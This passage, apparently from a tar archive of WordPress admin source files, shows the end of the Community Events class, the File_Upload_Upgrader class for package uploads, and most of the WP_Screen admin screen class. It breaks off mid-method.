						$end_month   = date_i18n( _x( 'F', 'upcoming events month format' ), $end_timestamp );

if ( $start_month === $end_month ) {
							$formatted_date = sprintf(
								/* translators: Date string for upcoming events. 1: Month, 2: Starting day, 3: Ending day, 4: Year. */
								__( '%1$s %2$d–%3$d, %4$d' ),
								$start_month,
								/* translators: Upcoming events day format. See https://www.php.net/date */
								date_i18n( _x( 'j', 'upcoming events day format' ), $timestamp ),
								date_i18n( _x( 'j', 'upcoming events day format' ), $end_timestamp ),
								/* translators: Upcoming events year format. See https://www.php.net/date */
								date_i18n( _x( 'Y', 'upcoming events year format' ), $timestamp )
							);
						} else {
							$formatted_date = sprintf(
								/* translators: Date string for upcoming events. 1: Starting month, 2: Starting day, 3: Ending month, 4: Ending day, 5: Year. */
								__( '%1$s %2$d – %3$s %4$d, %5$d' ),
								$start_month,
								date_i18n( _x( 'j', 'upcoming events day format' ), $timestamp ),
								$end_month,
								date_i18n( _x( 'j', 'upcoming events day format' ), $end_timestamp ),
								date_i18n( _x( 'Y', 'upcoming events year format' ), $timestamp )
							);
						}

$formatted_date = wp_maybe_decline_date( $formatted_date, 'F j, Y' );
					}
				}

$response_body['events'][ $key ]['formatted_date'] = $formatted_date;
				$response_body['events'][ $key ]['formatted_time'] = $formatted_time;
			}
		}

return $response_body;
	}

/**
	 * Prepares the event list for presentation.
	 *
	 * Discards expired events, and makes WordCamps "sticky." Attendees need more
	 * advanced notice about WordCamps than they do for meetups, so camps should
	 * appear in the list sooner. If a WordCamp is coming up, the API will "stick"
	 * it in the response, even if it wouldn't otherwise appear. When that happens,
	 * the event will be at the end of the list, and will need to be moved into a
	 * higher position, so that it doesn't get trimmed off.
	 *
	 * @since 4.8.0
	 * @since 4.9.7 Stick a WordCamp to the final list.
	 * @since 5.5.2 Accepts and returns only the events, rather than an entire HTTP response.
	 *
	 * @param array $events The events that will be prepared.
	 * @return array The response body with events trimmed.
	 */
	protected function trim_events( array $events ) {
		$future_events = array();

foreach ( $events as $event ) {
			/*
			 * The API's `date` and `end_date` fields are in the _event's_ local timezone, but UTC is needed so
			 * it can be converted to the _user's_ local time.
			 */
			$end_time = (int) $event['end_unix_timestamp'];

if ( time() < $end_time ) {
				array_push( $future_events, $event );
			}
		}

$future_wordcamps = array_filter(
			$future_events,
			function( $wordcamp ) {
				return 'wordcamp' === $wordcamp['type'];
			}
		);

$future_wordcamps    = array_values( $future_wordcamps ); // Remove gaps in indices.
		$trimmed_events      = array_slice( $future_events, 0, 3 );
		$trimmed_event_types = wp_list_pluck( $trimmed_events, 'type' );

// Make sure the soonest upcoming WordCamp is pinned in the list.
		if ( $future_wordcamps && ! in_array( 'wordcamp', $trimmed_event_types, true ) ) {
			array_pop( $trimmed_events );
			array_push( $trimmed_events, $future_wordcamps[0] );
		}

return $trimmed_events;
	}

/**
	 * Logs responses to Events API requests.
	 *
	 * @since 4.8.0
	 * @deprecated 4.9.0 Use a plugin instead. See #41217 for an example.
	 *
	 * @param string $message A description of what occurred.
	 * @param array  $details Details that provide more context for the
	 *                        log entry.
	 */
	protected function maybe_log_events_response( $message, $details ) {
		_deprecated_function( __METHOD__, '4.9.0' );

if ( ! WP_DEBUG_LOG ) {
			return;
		}

error_log(
			sprintf(
				'%s: %s. Details: %s',
				__METHOD__,
				trim( $message, '.' ),
				wp_json_encode( $details )
			)
		);
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-file-upload-upgrader.php����������������������������������������������������������������������0000604�����������������00000006470�15075125354�0012402 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Upgrade API: File_Upload_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for handling file uploads.
 *
 * This class handles the upload process and passes it as if it's a local file
 * to the Upgrade/Installer functions.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 */
class File_Upload_Upgrader {

/**
	 * The full path to the file package.
	 *
	 * @since 2.8.0
	 * @var string $package
	 */
	public $package;

/**
	 * The name of the file.
	 *
	 * @since 2.8.0
	 * @var string $filename
	 */
	public $filename;

/**
	 * The ID of the attachment post for this file.
	 *
	 * @since 3.3.0
	 * @var int $id
	 */
	public $id = 0;

/**
	 * Construct the upgrader for a form.
	 *
	 * @since 2.8.0
	 *
	 * @param string $form      The name of the form the file was uploaded from.
	 * @param string $urlholder The name of the `GET` parameter that holds the filename.
	 */
	public function __construct( $form, $urlholder ) {

if ( empty( $_FILES[ $form ]['name'] ) && empty( $_GET[ $urlholder ] ) ) {
			wp_die( __( 'Please select a file' ) );
		}

// Handle a newly uploaded file. Else, assume it's already been uploaded.
		if ( ! empty( $_FILES ) ) {
			$overrides = array(
				'test_form' => false,
				'test_type' => false,
			);
			$file      = wp_handle_upload( $_FILES[ $form ], $overrides );

if ( isset( $file['error'] ) ) {
				wp_die( $file['error'] );
			}

$this->filename = $_FILES[ $form ]['name'];
			$this->package  = $file['file'];

// Construct the object array.
			$object = array(
				'post_title'     => $this->filename,
				'post_content'   => $file['url'],
				'post_mime_type' => $file['type'],
				'guid'           => $file['url'],
				'context'        => 'upgrader',
				'post_status'    => 'private',
			);

// Save the data.
			$this->id = wp_insert_attachment( $object, $file['file'] );

// Schedule a cleanup for 2 hours from now in case of failed installation.
			wp_schedule_single_event( time() + 2 * HOUR_IN_SECONDS, 'upgrader_scheduled_cleanup', array( $this->id ) );

} elseif ( is_numeric( $_GET[ $urlholder ] ) ) {
			// Numeric Package = previously uploaded file, see above.
			$this->id   = (int) $_GET[ $urlholder ];
			$attachment = get_post( $this->id );
			if ( empty( $attachment ) ) {
				wp_die( __( 'Please select a file' ) );
			}

$this->filename = $attachment->post_title;
			$this->package  = get_attached_file( $attachment->ID );
		} else {
			// Else, It's set to something, Back compat for plugins using the old (pre-3.3) File_Uploader handler.
			$uploads = wp_upload_dir();
			if ( ! ( $uploads && false === $uploads['error'] ) ) {
				wp_die( $uploads['error'] );
			}

$this->filename = sanitize_file_name( $_GET[ $urlholder ] );
			$this->package  = $uploads['basedir'] . '/' . $this->filename;

if ( 0 !== strpos( realpath( $this->package ), realpath( $uploads['basedir'] ) ) ) {
				wp_die( __( 'Please select a file' ) );
			}
		}
	}

/**
	 * Delete the attachment/uploaded file.
	 *
	 * @since 3.2.2
	 *
	 * @return bool Whether the cleanup was successful.
	 */
	public function cleanup() {
		if ( $this->id ) {
			wp_delete_attachment( $this->id );

} elseif ( file_exists( $this->package ) ) {
			return @unlink( $this->package );
		}

return true;
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-screen.php���������������������������������������������������������������������������������0000604�����������������00000107742�15075125354�0010301 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Screen API: WP_Screen class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Core class used to implement an admin screen API.
 *
 * @since 3.3.0
 */
final class WP_Screen {
	/**
	 * Any action associated with the screen.
	 *
	 * 'add' for *-add.php and *-new.php screens. Empty otherwise.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $action;

/**
	 * The base type of the screen.
	 *
	 * This is typically the same as `$id` but with any post types and taxonomies stripped.
	 * For example, for an `$id` of 'edit-post' the base is 'edit'.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $base;

/**
	 * The number of columns to display. Access with get_columns().
	 *
	 * @since 3.4.0
	 * @var int
	 */
	private $columns = 0;

/**
	 * The unique ID of the screen.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $id;

/**
	 * Which admin the screen is in. network | user | site | false
	 *
	 * @since 3.5.0
	 * @var string
	 */
	protected $in_admin;

/**
	 * Whether the screen is in the network admin.
	 *
	 * Deprecated. Use in_admin() instead.
	 *
	 * @since 3.3.0
	 * @deprecated 3.5.0
	 * @var bool
	 */
	public $is_network;

/**
	 * Whether the screen is in the user admin.
	 *
	 * Deprecated. Use in_admin() instead.
	 *
	 * @since 3.3.0
	 * @deprecated 3.5.0
	 * @var bool
	 */
	public $is_user;

/**
	 * The base menu parent.
	 *
	 * This is derived from `$parent_file` by removing the query string and any .php extension.
	 * `$parent_file` values of 'edit.php?post_type=page' and 'edit.php?post_type=post'
	 * have a `$parent_base` of 'edit'.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $parent_base;

/**
	 * The parent_file for the screen per the admin menu system.
	 *
	 * Some `$parent_file` values are 'edit.php?post_type=page', 'edit.php', and 'options-general.php'.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $parent_file;

/**
	 * The post type associated with the screen, if any.
	 *
	 * The 'edit.php?post_type=page' screen has a post type of 'page'.
	 * The 'edit-tags.php?taxonomy=$taxonomy&post_type=page' screen has a post type of 'page'.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $post_type;

/**
	 * The taxonomy associated with the screen, if any.
	 *
	 * The 'edit-tags.php?taxonomy=category' screen has a taxonomy of 'category'.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $taxonomy;

/**
	 * The help tab data associated with the screen, if any.
	 *
	 * @since 3.3.0
	 * @var array
	 */
	private $_help_tabs = array();

/**
	 * The help sidebar data associated with screen, if any.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	private $_help_sidebar = '';

/**
	 * The accessible hidden headings and text associated with the screen, if any.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	private $_screen_reader_content = array();

/**
	 * Stores old string-based help.
	 *
	 * @var array
	 */
	private static $_old_compat_help = array();

/**
	 * The screen options associated with screen, if any.
	 *
	 * @since 3.3.0
	 * @var array
	 */
	private $_options = array();

/**
	 * The screen object registry.
	 *
	 * @since 3.3.0
	 *
	 * @var array
	 */
	private static $_registry = array();

/**
	 * Stores the result of the public show_screen_options function.
	 *
	 * @since 3.3.0
	 * @var bool
	 */
	private $_show_screen_options;

/**
	 * Stores the 'screen_settings' section of screen options.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	private $_screen_settings;

/**
	 * Whether the screen is using the block editor.
	 *
	 * @since 5.0.0
	 * @var bool
	 */
	public $is_block_editor = false;

/**
	 * Fetches a screen object.
	 *
	 * @since 3.3.0
	 *
	 * @global string $hook_suffix
	 *
	 * @param string|WP_Screen $hook_name Optional. The hook name (also known as the hook suffix) used to determine the screen.
	 *                                    Defaults to the current $hook_suffix global.
	 * @return WP_Screen Screen object.
	 */
	public static function get( $hook_name = '' ) {
		if ( $hook_name instanceof WP_Screen ) {
			return $hook_name;
		}

$post_type       = null;
		$taxonomy        = null;
		$in_admin        = false;
		$action          = '';
		$is_block_editor = false;

if ( $hook_name ) {
			$id = $hook_name;
		} else {
			$id = $GLOBALS['hook_suffix'];
		}

// For those pesky meta boxes.
		if ( $hook_name && post_type_exists( $hook_name ) ) {
			$post_type = $id;
			$id        = 'post'; // Changes later. Ends up being $base.
		} else {
			if ( '.php' === substr( $id, -4 ) ) {
				$id = substr( $id, 0, -4 );
			}

if ( in_array( $id, array( 'post-new', 'link-add', 'media-new', 'user-new' ), true ) ) {
				$id     = substr( $id, 0, -4 );
				$action = 'add';
			}
		}

if ( ! $post_type && $hook_name ) {
			if ( '-network' === substr( $id, -8 ) ) {
				$id       = substr( $id, 0, -8 );
				$in_admin = 'network';
			} elseif ( '-user' === substr( $id, -5 ) ) {
				$id       = substr( $id, 0, -5 );
				$in_admin = 'user';
			}

$id = sanitize_key( $id );
			if ( 'edit-comments' !== $id && 'edit-tags' !== $id && 'edit-' === substr( $id, 0, 5 ) ) {
				$maybe = substr( $id, 5 );
				if ( taxonomy_exists( $maybe ) ) {
					$id       = 'edit-tags';
					$taxonomy = $maybe;
				} elseif ( post_type_exists( $maybe ) ) {
					$id        = 'edit';
					$post_type = $maybe;
				}
			}

if ( ! $in_admin ) {
				$in_admin = 'site';
			}
		} else {
			if ( defined( 'WP_NETWORK_ADMIN' ) && WP_NETWORK_ADMIN ) {
				$in_admin = 'network';
			} elseif ( defined( 'WP_USER_ADMIN' ) && WP_USER_ADMIN ) {
				$in_admin = 'user';
			} else {
				$in_admin = 'site';
			}
		}

if ( 'index' === $id ) {
			$id = 'dashboard';
		} elseif ( 'front' === $id ) {
			$in_admin = false;
		}

$base = $id;

// If this is the current screen, see if we can be more accurate for post types and taxonomies.
		if ( ! $hook_name ) {
			if ( isset( $_REQUEST['post_type'] ) ) {
				$post_type = post_type_exists( $_REQUEST['post_type'] ) ? $_REQUEST['post_type'] : false;
			}
			if ( isset( $_REQUEST['taxonomy'] ) ) {
				$taxonomy = taxonomy_exists( $_REQUEST['taxonomy'] ) ? $_REQUEST['taxonomy'] : false;
			}

switch ( $base ) {
				case 'post':
					if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] ) {
						wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
					} elseif ( isset( $_GET['post'] ) ) {
						$post_id = (int) $_GET['post'];
					} elseif ( isset( $_POST['post_ID'] ) ) {
						$post_id = (int) $_POST['post_ID'];
					} else {
						$post_id = 0;
					}

if ( $post_id ) {
						$post = get_post( $post_id );
						if ( $post ) {
							$post_type = $post->post_type;

/** This filter is documented in wp-admin/post.php */
							$replace_editor = apply_filters( 'replace_editor', false, $post );

if ( ! $replace_editor ) {
								$is_block_editor = use_block_editor_for_post( $post );
							}
						}
					}
					break;
				case 'edit-tags':
				case 'term':
					if ( null === $post_type && is_object_in_taxonomy( 'post', $taxonomy ? $taxonomy : 'post_tag' ) ) {
						$post_type = 'post';
					}
					break;
				case 'upload':
					$post_type = 'attachment';
					break;
			}
		}

switch ( $base ) {
			case 'post':
				if ( null === $post_type ) {
					$post_type = 'post';
				}

// When creating a new post, use the default block editor support value for the post type.
				if ( empty( $post_id ) ) {
					$is_block_editor = use_block_editor_for_post_type( $post_type );
				}

$id = $post_type;
				break;
			case 'edit':
				if ( null === $post_type ) {
					$post_type = 'post';
				}
				$id .= '-' . $post_type;
				break;
			case 'edit-tags':
			case 'term':
				if ( null === $taxonomy ) {
					$taxonomy = 'post_tag';
				}
				// The edit-tags ID does not contain the post type. Look for it in the request.
				if ( null === $post_type ) {
					$post_type = 'post';
					if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) ) {
						$post_type = $_REQUEST['post_type'];
					}
				}

$id = 'edit-' . $taxonomy;
				break;
		}

if ( 'network' === $in_admin ) {
			$id   .= '-network';
			$base .= '-network';
		} elseif ( 'user' === $in_admin ) {
			$id   .= '-user';
			$base .= '-user';
		}

if ( isset( self::$_registry[ $id ] ) ) {
			$screen = self::$_registry[ $id ];
			if ( get_current_screen() === $screen ) {
				return $screen;
			}
		} else {
			$screen     = new WP_Screen();
			$screen->id = $id;
		}

$screen->base            = $base;
		$screen->action          = $action;
		$screen->post_type       = (string) $post_type;
		$screen->taxonomy        = (string) $taxonomy;
		$screen->is_user         = ( 'user' === $in_admin );
		$screen->is_network      = ( 'network' === $in_admin );
		$screen->in_admin        = $in_admin;
		$screen->is_block_editor = $is_block_editor;

self::$_registry[ $id ] = $screen;

return $screen;
	}

/**
	 * Makes the screen object the current screen.
	 *
	 * @see set_current_screen()
	 * @since 3.3.0
	 *
	 * @global WP_Screen $current_screen WordPress current screen object.
	 * @global string    $taxnow
	 * @global string    $typenow
	 */
	public function set_current_screen() {
		global $current_screen, $taxnow, $typenow;
		$current_screen = $this;
		$taxnow         = $this->taxonomy;
		$typenow        = $this->post_type;

/**
		 * Fires after the current screen has been set.
		 *
		 * @since 3.0.0
		 *
		 * @param WP_Screen $current_screen Current WP_Screen object.
		 */
		do_action( 'current_screen', $current_screen );
	}

/**
	 * Constructor
	 *
	 * @since 3.3.0
	 */
	private function __construct() {}

/**
	 * Indicates whether the screen is in a particular admin
	 *
	 * @since 3.5.0
	 *
	 * @param string $admin The admin to check against (network | user | site).
	 *                      If empty any of the three admins will result in true.
	 * @return bool True if the screen is in the indicated admin, false otherwise.
	 */
	public function in_admin( $admin = null ) {
		if ( empty( $admin ) ) {
			return (bool) $this->in_admin;
		}

return ( $admin === $this->in_admin );
	}

/**
	 * Sets or returns whether the block editor is loading on the current screen.
	 *
	 * @since 5.0.0
	 *
	 * @param bool $set Optional. Sets whether the block editor is loading on the current screen or not.
	 * @return bool True if the block editor is being loaded, false otherwise.
	 */
	public function is_block_editor( $set = null ) {
		if ( null !== $set ) {
			$this->is_block_editor = (bool) $set;
		}

return $this->is_block_editor;
	}

/**
	 * Sets the old string-based contextual help for the screen for backward compatibility.
	 *
	 * @since 3.3.0
	 *
	 * @param WP_Screen $screen A screen object.
	 * @param string    $help   Help text.
	 */
	public static function add_old_compat_help( $screen, $help ) {
		self::$_old_compat_help[ $screen->id ] = $help;
	}

/**
	 * Set the parent information for the screen.
	 *
	 * This is called in admin-header.php after the menu parent for the screen has been determined.
	 *
	 * @since 3.3.0
	 *
	 * @param string $parent_file The parent file of the screen. Typically the $parent_file global.
	 */
	public function set_parentage( $parent_file ) {
		$this->parent_file         = $parent_file;
		list( $this->parent_base ) = explode( '?', $parent_file );
		$this->parent_base         = str_replace( '.php', '', $this->parent_base );
	}

/**
	 * Adds an option for the screen.
	 *
	 * Call this in template files after admin.php is loaded and before admin-header.php is loaded
	 * to add screen options.
	 *
	 * @since 3.3.0
	 *
	 * @param string $option Option ID.
	 * @param mixed  $args   Option-dependent arguments.
	 */
	public function add_option( $option, $args = array() ) {
		$this->_options[ $option ] = $args;
	}

/**
	 * Remove an option from the screen.
	 *
	 * @since 3.8.0
	 *
	 * @param string $option Option ID.
	 */
	public function remove_option( $option ) {
		unset( $this->_options[ $option ] );
	}

/**
	 * Remove all options from the screen.
	 *
	 * @since 3.8.0
	 */
	public function remove_options() {
		$this->_options = array();
	}

/**
	 * Get the options registered for the screen.
	 *
	 * @since 3.8.0
	 *
	 * @return array Options with arguments.
	 */
	public function get_options() {
		return $this->_options;
	}

/**
	 * Gets the arguments for an option for the screen.
	 *
	 * @since 3.3.0
	 *
	 * @param string $option Option name.
	 * @param string $key    Optional. Specific array key for when the option is an array.
	 *                       Default false.
	 * @return string The option value if set, null otherwise.
	 */
	public function get_option( $option, $key = false ) {
		if ( ! isset( $this->_options[ $option ] ) ) {
			return null;
		}
		if ( $key ) {
			if ( isset( $this->_options[ $option ][ $key ] ) ) {
				return $this->_options[ $option ][ $key ];
			}
			return null;
		}
		return $this->_options[ $option ];
	}

/**
	 * Gets the help tabs registered for the screen.
	 *
	 * @since 3.4.0
	 * @since 4.4.0 Help tabs are ordered by their priority.
	 *
	 * @return array Help tabs with arguments.
	 */
	public function get_help_tabs() {
		$help_tabs = $this->_help_tabs;

$priorities = array();
		foreach ( $help_tabs as $help_tab ) {
			if ( isset( $priorities[ $help_tab['priority'] ] ) ) {
				$priorities[ $help_tab['priority'] ][] = $help_tab;
			} else {
				$priorities[ $help_tab['priority'] ] = array( $help_tab );
			}
		}

ksort( $priorities );

$sorted = array();
		foreach ( $priorities as $list ) {
			foreach ( $list as $tab ) {
				$sorted[ $tab['id'] ] = $tab;
			}
		}

return $sorted;
	}

/**
	 * Gets the arguments for a help tab.
	 *
	 * @since 3.4.0
	 *
	 * @param string $id Help Tab ID.
	 * @return array Help tab arguments.
	 */
	public function get_help_tab( $id ) {
		if ( ! isset( $this->_help_tabs[ $id ] ) ) {
			return null;
		}
		return $this->_help_tabs[ $id ];
	}

/**
	 * Add a help tab to the contextual help for the screen.
	 *
	 * Call this on the `load-$pagenow` hook for the relevant screen,
	 * or fetch the `$current_screen` object, or use get_current_screen()
	 * and then call the method from the object.
	 *
	 * You may need to filter `$current_screen` using an if or switch statement
	 * to prevent new help tabs from being added to ALL admin screens.
	 *
	 * @since 3.3.0
	 * @since 4.4.0 The `$priority` argument was added.
	 *
	 * @param array $args {
	 *     Array of arguments used to display the help tab.
	 *
	 *     @type string   $title    Title for the tab. Default false.
	 *     @type string   $id       Tab ID. Must be HTML-safe and should be unique for this menu.
	 *                              It is NOT allowed to contain any empty spaces. Default false.
	 *     @type string   $content  Optional. Help tab content in plain text or HTML. Default empty string.
	 *     @type callable $callback Optional. A callback to generate the tab content. Default false.
	 *     @type int      $priority Optional. The priority of the tab, used for ordering. Default 10.
	 * }
	 */
	public function add_help_tab( $args ) {
		$defaults = array(
			'title'    => false,
			'id'       => false,
			'content'  => '',
			'callback' => false,
			'priority' => 10,
		);
		$args     = wp_parse_args( $args, $defaults );

$args['id'] = sanitize_html_class( $args['id'] );

// Ensure we have an ID and title.
		if ( ! $args['id'] || ! $args['title'] ) {
			return;
		}

// Allows for overriding an existing tab with that ID.
		$this->_help_tabs[ $args['id'] ] = $args;
	}

/**
	 * Removes a help tab from the contextual help for the screen.
	 *
	 * @since 3.3.0
	 *
	 * @param string $id The help tab ID.
	 */
	public function remove_help_tab( $id ) {
		unset( $this->_help_tabs[ $id ] );
	}

/**
	 * Removes all help tabs from the contextual help for the screen.
	 *
	 * @since 3.3.0
	 */
	public function remove_help_tabs() {
		$this->_help_tabs = array();
	}

/**
	 * Gets the content from a contextual help sidebar.
	 *
	 * @since 3.4.0
	 *
	 * @return string Contents of the help sidebar.
	 */
	public function get_help_sidebar() {
		return $this->_help_sidebar;
	}

/**
	 * Add a sidebar to the contextual help for the screen.
	 *
	 * Call this in template files after admin.php is loaded and before admin-header.php is loaded
	 * to add a sidebar to the contextual help.
	 *
	 * @since 3.3.0
	 *
	 * @param string $content Sidebar content in plain text or HTML.
	 */
	public function set_help_sidebar( $content ) {
		$this->_help_sidebar = $content;
	}

/**
	 * Gets the number of layout columns the user has selected.
	 *
	 * The layout_columns option controls the max number and default number of
	 * columns. This method returns the number of columns within that range selected
	 * by the user via Screen Options. If no selection has been made, the default
	 * provisioned in layout_columns is returned. If the screen does not support
	 * selecting the number of layout columns, 0 is returned.
	 *
	 * @since 3.4.0
	 *
	 * @return int Number of columns to display.
	 */
	public function get_columns() {
		return $this->columns;
	}

/**
	 * Get the accessible hidden headings and text used in the screen.
	 *
	 * @since 4.4.0
	 *
	 * @see set_screen_reader_content() For more information on the array format.
	 *
	 * @return array An associative array of screen reader text strings.
	 */
	public function get_screen_reader_content() {
		return $this->_screen_reader_content;
	}

/**
	 * Get a screen reader text string.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Screen reader text array named key.
	 * @return string Screen reader text string.
	 */
	public function get_screen_reader_text( $key ) {
		if ( ! isset( $this->_screen_reader_content[ $key ] ) ) {
			return null;
		}
		return $this->_screen_reader_content[ $key ];
	}

/**
	 * Add accessible hidden headings and text for the screen.
	 *
	 * @since 4.4.0
	 *
	 * @param array $content {
	 *     An associative array of screen reader text strings.
	 *
	 *     @type string $heading_views      Screen reader text for the filter links heading.
	 *                                      Default 'Filter items list'.
	 *     @type string $heading_pagination Screen reader text for the pagination heading.
	 *                                      Default 'Items list navigation'.
	 *     @type string $heading_list       Screen reader text for the items list heading.
	 *                                      Default 'Items list'.
	 * }
	 */
	public function set_screen_reader_content( $content = array() ) {
		$defaults = array(
			'heading_views'      => __( 'Filter items list' ),
			'heading_pagination' => __( 'Items list navigation' ),
			'heading_list'       => __( 'Items list' ),
		);
		$content  = wp_parse_args( $content, $defaults );

$this->_screen_reader_content = $content;
	}

/**
	 * Remove all the accessible hidden headings and text for the screen.
	 *
	 * @since 4.4.0
	 */
	public function remove_screen_reader_content() {
		$this->_screen_reader_content = array();
	}

/**
	 * Render the screen's help section.
	 *
	 * This will trigger the deprecated filters for backward compatibility.
	 *
	 * @since 3.3.0
	 *
	 * @global string $screen_layout_columns
	 */
	public function render_screen_meta() {

/**
		 * Filters the legacy contextual help list.
		 *
		 * @since 2.7.0
		 * @deprecated 3.3.0 Use {@see get_current_screen()->add_help_tab()} or
		 *                   {@see get_current_screen()->remove_help_tab()} instead.
		 *
		 * @param array     $old_compat_help Old contextual help.
		 * @param WP_Screen $this            Current WP_Screen instance.
		 */
		self::$_old_compat_help = apply_filters_deprecated(
			'contextual_help_list',
			array( self::$_old_compat_help, $this ),
			'3.3.0',
			'get_current_screen()->add_help_tab(), get_current_screen()->remove_help_tab()'
		);

$old_help = isset( self::$_old_compat_help[ $this->id ] ) ? self::$_old_compat_help[ $this->id ] : '';

/**
		 * Filters the legacy contextual help text.
		 *
		 * @since 2.7.0
		 * @deprecated 3.3.0 Use {@see get_current_screen()->add_help_tab()} or
		 *                   {@see get_current_screen()->remove_help_tab()} instead.
		 *
		 * @param string    $old_help  Help text that appears on the screen.
		 * @param string    $screen_id Screen ID.
		 * @param WP_Screen $this      Current WP_Screen instance.
		 */
		$old_help = apply_filters_deprecated(
			'contextual_help',
			array( $old_help, $this->id, $this ),
			'3.3.0',
			'get_current_screen()->add_help_tab(), get_current_screen()->remove_help_tab()'
		);

// Default help only if there is no old-style block of text and no new-style help tabs.
		if ( empty( $old_help ) && ! $this->get_help_tabs() ) {

/**
			 * Filters the default legacy contextual help text.
			 *
			 * @since 2.8.0
			 * @deprecated 3.3.0 Use {@see get_current_screen()->add_help_tab()} or
			 *                   {@see get_current_screen()->remove_help_tab()} instead.
			 *
			 * @param string $old_help_default Default contextual help text.
			 */
			$default_help = apply_filters_deprecated(
				'default_contextual_help',
				array( '' ),
				'3.3.0',
				'get_current_screen()->add_help_tab(), get_current_screen()->remove_help_tab()'
			);
			if ( $default_help ) {
				$old_help = '<p>' . $default_help . '</p>';
			}
		}

if ( $old_help ) {
			$this->add_help_tab(
				array(
					'id'      => 'old-contextual-help',
					'title'   => __( 'Overview' ),
					'content' => $old_help,
				)
			);
		}

$help_sidebar = $this->get_help_sidebar();

$help_class = 'hidden';
		if ( ! $help_sidebar ) {
			$help_class .= ' no-sidebar';
		}

// Time to render!
		?>
		<div id="screen-meta" class="metabox-prefs">

<div id="contextual-help-wrap" class="<?php echo esc_attr( $help_class ); ?>" tabindex="-1" aria-label="<?php esc_attr_e( 'Contextual Help Tab' ); ?>">
				<div id="contextual-help-back"></div>
				<div id="contextual-help-columns">
					<div class="contextual-help-tabs">
						<ul>
						<?php
						$class = ' class="active"';
						foreach ( $this->get_help_tabs() as $tab ) :
							$link_id  = "tab-link-{$tab['id']}";
							$panel_id = "tab-panel-{$tab['id']}";
							?>

<li id="<?php echo esc_attr( $link_id ); ?>"<?php echo $class; ?>>
								<a href="<?php echo esc_url( "#$panel_id" ); ?>" aria-controls="<?php echo esc_attr( $panel_id ); ?>">
									<?php echo esc_html( $tab['title'] ); ?>
								</a>
							</li>
							<?php
							$class = '';
						endforeach;
						?>
						</ul>
					</div>

<?php if ( $help_sidebar ) : ?>
					<div class="contextual-help-sidebar">
						<?php echo $help_sidebar; ?>
					</div>
					<?php endif; ?>

<div class="contextual-help-tabs-wrap">
						<?php
						$classes = 'help-tab-content active';
						foreach ( $this->get_help_tabs() as $tab ) :
							$panel_id = "tab-panel-{$tab['id']}";
							?>

<div id="<?php echo esc_attr( $panel_id ); ?>" class="<?php echo $classes; ?>">
								<?php
								// Print tab content.
								echo $tab['content'];

// If it exists, fire tab callback.
								if ( ! empty( $tab['callback'] ) ) {
									call_user_func_array( $tab['callback'], array( $this, $tab ) );
								}
								?>
							</div>
							<?php
							$classes = 'help-tab-content';
						endforeach;
						?>
					</div>
				</div>
			</div>
		<?php
		// Setup layout columns.

/**
		 * Filters the array of screen layout columns.
		 *
		 * This hook provides back-compat for plugins using the back-compat
		 * Filters instead of add_screen_option().
		 *
		 * @since 2.8.0
		 *
		 * @param array     $empty_columns Empty array.
		 * @param string    $screen_id     Screen ID.
		 * @param WP_Screen $this          Current WP_Screen instance.
		 */
		$columns = apply_filters( 'screen_layout_columns', array(), $this->id, $this );

if ( ! empty( $columns ) && isset( $columns[ $this->id ] ) ) {
			$this->add_option( 'layout_columns', array( 'max' => $columns[ $this->id ] ) );
		}

if ( $this->get_option( 'layout_columns' ) ) {
			$this->columns = (int) get_user_option( "screen_layout_$this->id" );

if ( ! $this->columns && $this->get_option( 'layout_columns', 'default' ) ) {
				$this->columns = $this->get_option( 'layout_columns', 'default' );
			}
		}
		$GLOBALS['screen_layout_columns'] = $this->columns; // Set the global for back-compat.

// Add screen options.
		if ( $this->show_screen_options() ) {
			$this->render_screen_options();
		}
		?>
		</div>
		<?php
		if ( ! $this->get_help_tabs() && ! $this->show_screen_options() ) {
			return;
		}
		?>
		<div id="screen-meta-links">
		<?php if ( $this->show_screen_options() ) : ?>
			<div id="screen-options-link-wrap" class="hide-if-no-js screen-meta-toggle">
			<button type="button" id="show-settings-link" class="button show-settings" aria-controls="screen-options-wrap" aria-expanded="false"><?php _e( 'Screen Options' ); ?></button>
			</div>
			<?php
		endif;
		if ( $this->get_help_tabs() ) :
			?>
			<div id="contextual-help-link-wrap" class="hide-if-no-js screen-meta-toggle">
			<button type="button" id="contextual-help-link" class="button show-settings" aria-controls="contextual-help-wrap" aria-expanded="false"><?php _e( 'Help' ); ?></button>
			</div>
		<?php endif; ?>
		</div>
		<?php
	}

/**
	 * @global array $wp_meta_boxes
	 *
	 * @return bool
	 */
	public function show_screen_options() {
		global $wp_meta_boxes;

if ( is_bool( $this->_show_screen_options ) ) {
			return $this->_show_screen_options;
		}

$columns = get_column_headers( $this );

$show_screen = ! empty( $wp_meta_boxes[ $this->id ] ) || $columns || $this->get_option( 'per_page' );

$this->_screen_settings = '';

if ( 'post' === $this->base ) {
